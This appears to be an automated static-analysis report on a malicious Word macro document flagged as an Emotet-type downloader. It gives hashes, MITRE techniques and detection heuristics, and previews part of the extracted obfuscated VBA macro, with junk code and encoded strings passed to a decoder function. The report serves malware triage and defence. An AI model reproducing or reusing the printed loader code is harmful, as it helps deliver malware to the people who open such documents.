Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 0424c8c7e4f4c5da…

MALICIOUS

Office (OLE)

254.0 KB Created: 2018-03-28 10:44:00 Authoring application: Microsoft Office Word First seen: 2018-04-12
MD5: e40e49a130554907075e0a4f4d2a37fc SHA-1: a86a6a17dd5c63ffa8f907042e13025bfc1ce4be SHA-256: 0424c8c7e4f4c5dac96f1526b9e607e86d923455ae7e98c5d300a5d8fab7a22e
244 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1140 Deobfuscate/Decode Files or Information

The file contains VBA macros, including an AutoOpen macro, and triggers heuristics related to CreateObject and p-code execution, indicating malicious intent. The presence of a VBA macro suggests it was likely delivered as a spearphishing attachment. The macro's obfuscated nature and the ClamAV detection name 'Doc.Malware.Emodldr-10025032-0' suggest it attempts to deobfuscate and download a secondary payload.

Heuristics 9

  • ClamAV: Doc.Malware.Emodldr-10025032-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Malware.Emodldr-10025032-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 56670 bytes
SHA-256: 509ba4631370018dbfe62e4638c11f4633e948f1c03c0721968438382b9c700c
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 23 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "LjtliGGEoZU"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "sPzVQCAUO"
Function TLmcaSYiBLko()
On Error Resume Next
Select Case jpmTaM
      Case 51473
         tjwri = CStr(jzaYiw + CStr(43323) - vPPqN * 72517)
      Case 9296
         BrZLJ = iJwQTJ
         cnYszl = Tan(14391 * XXcYht)
End Select
cVtXrFO = IKMdZ("%N pQA5ADYANQA2ADUAZAAzADgAYwA5ADIAYwAwADcAZABjAGEAMQA4ADcAMgBhAGUAMQAxADAAMQBkADIAYgBjAGEANAAxAGIAOAAwADAAZgA3ADIAZQA2ADgAMwBhADcAOQA3ADcAZgA0AGEAOAA3ADgAOABlADIAYQBmADkANgBkAGIAMgBhADkAZpt", 5, 184)
Select Case EkzpU
      Case 46263
         ESTbkR = CStr(ZOiNC + CStr(36301) - rzOAzZ * 58941)
      Case 40191
         mbFLFN = iobuj
         YXAqi = Tan(94388 * zLfav)
End Select
Select Case Iwhsw
      Case 63811
         fVczA = CStr(pscNQ + CStr(22271) - BAaUcR * 72996)
      Case 40989
         wAwso = FVLdhc
         uaZWS = Tan(30969 * YbDah)
End Select
HdmYoMQtJN = IKMdZ("5ADUAYgAwADIAMwBiADIANAA3ADIAOAA5ADgAMwA4ADAAYQBmAGMAMQA2ADYAYQAzADcAOABjADUAMwBmEu.dACO", 2, 80)
Select Case HYMPj
      Case 90815
         KZbzHN = CStr(mHBmi + CStr(14624) - FzvGzV * 21376)
      Case 92366
         wXLjW = Ivzmfw
         waOEE = Tan(44681 * ZQwaP)
End Select
Select Case UjXZY
      Case 5887
         MbEWm = CStr(DkwUiE + CStr(93146) - FUwGHt * 41660)
      Case 23945
         CYRKwr = sMEbW
         vfZSRL = Tan(14178 * uakKOM)
End Select
wVidE = IKMdZ("VANwA2AGEAMAA1ADkAYgAzADAAYwA0ADMAZQAwAGEAMgBhADcAZAA4AGEANwBkADUAOAA2ADIAMABlAGEANQBhADMAYQA0ADcANgA5AIP12b0K", 2, 102)
Select Case TRJAAb
      Case 2670
         VmHtcc = CStr(AUdWZ + CStr(33425) - obKFAI * 96961)
      Case 62164
         hfvYvu = WHtiDj
         SfXba = Tan(31487 * smJmdi)
End Select
Select Case bDsrM
      Case 71882
         czwnF = CStr(oJpWwi + CStr(5618) - AcQut * 54203)
      Case 52176
         EiKuok = jiZkk
         GwUaAp = Tan(81626 * tjFYI)
End Select
OAkpMIdjiWD = IKMdZ("Iz8CAd4H8", 5, 1)
Select Case acwSJj
      Case 63442
         NdLuEl = CStr(rZwSM + CStr(88050) - wTtmkX * 22193)
      Case 99175
         VfJwE = GbAIOi
         PGlEOB = Tan(18679 * Gwjtj)
End Select
Select Case dmivJP
      Case 96660
         zMarb = CStr(wfvhi + CStr(93663) - wrzMZ * 58479)
      Case 55215
         ESZnCS = uqMDDE
         OAnqi = Tan(69591 * qkjIo)
End Select
jWuaj = IKMdZ("fMjq9DEANgAzADMAZQA3ADgAOAAf5b", 6, 22)
Select Case ufjklV
      Case 62998
         uBDYpI = CStr(EVftFX + CStr(56348) - YiAsMO * 64191)
      Case 85304
         NktPHb = iXiTw
         RpbomP = Tan(2876 * jKRjK)
End Select
Select Case tCKiLa
      Case 6598
         nwCLd = CStr(UDapG + CStr(85857) - vLYAZ * 11630)
      Case 51954
         nCHwWY = VsZzI
         PwPwDV = Tan(34463 * adaNWw)
End Select
zkiTlJQcU = IKMdZ("12n4bGQAMAA4ADUAYQAzAGQANgA0ADcANQA3ADEAYwA4ADkAYgA0ADYAMQA4AGIAYwA3AGUAOAA5ADcANQAwADkAZABhAGEAZQA5ADQAZAAwAGUANwA4AbPz", 6, 112)
Select Case mdlUcZ
      Case 662
         vNHkPi = CStr(QGjSfN + CStr(16870) - VkJwM * 47409)
      Case 62830
         zaNjOn = jPPDTl
         lCAsNU = Tan(57263 * SidbQ)
End Select
Select Case kIkXFw
      Case 89399
         SjtFOR = CStr(fKAKHY + CStr(4693) - bZiHtd * 27456)
      Case 70111
         NtECGN = jZijp
         wDbCa = Tan(40842 * DhDhVJ)
End Select
fzLtHjvC = IKMdZ("uZABlADQBnjc1wc", 2, 7)
Select Case WoBwEv
      Case 12013
         UMaYwt = CStr(hpSzHc + CStr(60267) - qCtujj * 82095)
      Case 44042
         zOksYk = tNFiPc
         YwazN = Tan(29104 * CWrIL)
End Select
Select Case TrUfn
      Case 73010
         wrQudp = CStr(RDrzsB + CStr(48010) - urKLFX * 4334)
      Case 611
         TMtul = CwvwQL
         WoUbKp = Tan(1222 * ickhzc)
End Select
Kqpmv = IKMdZ("5CT.BhAGQANwBkAGMAZABkADgAYQBhADEAYQBhAGQANQA0ADYAMABlAGUAMwBmADgAZAA4ADkAM
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.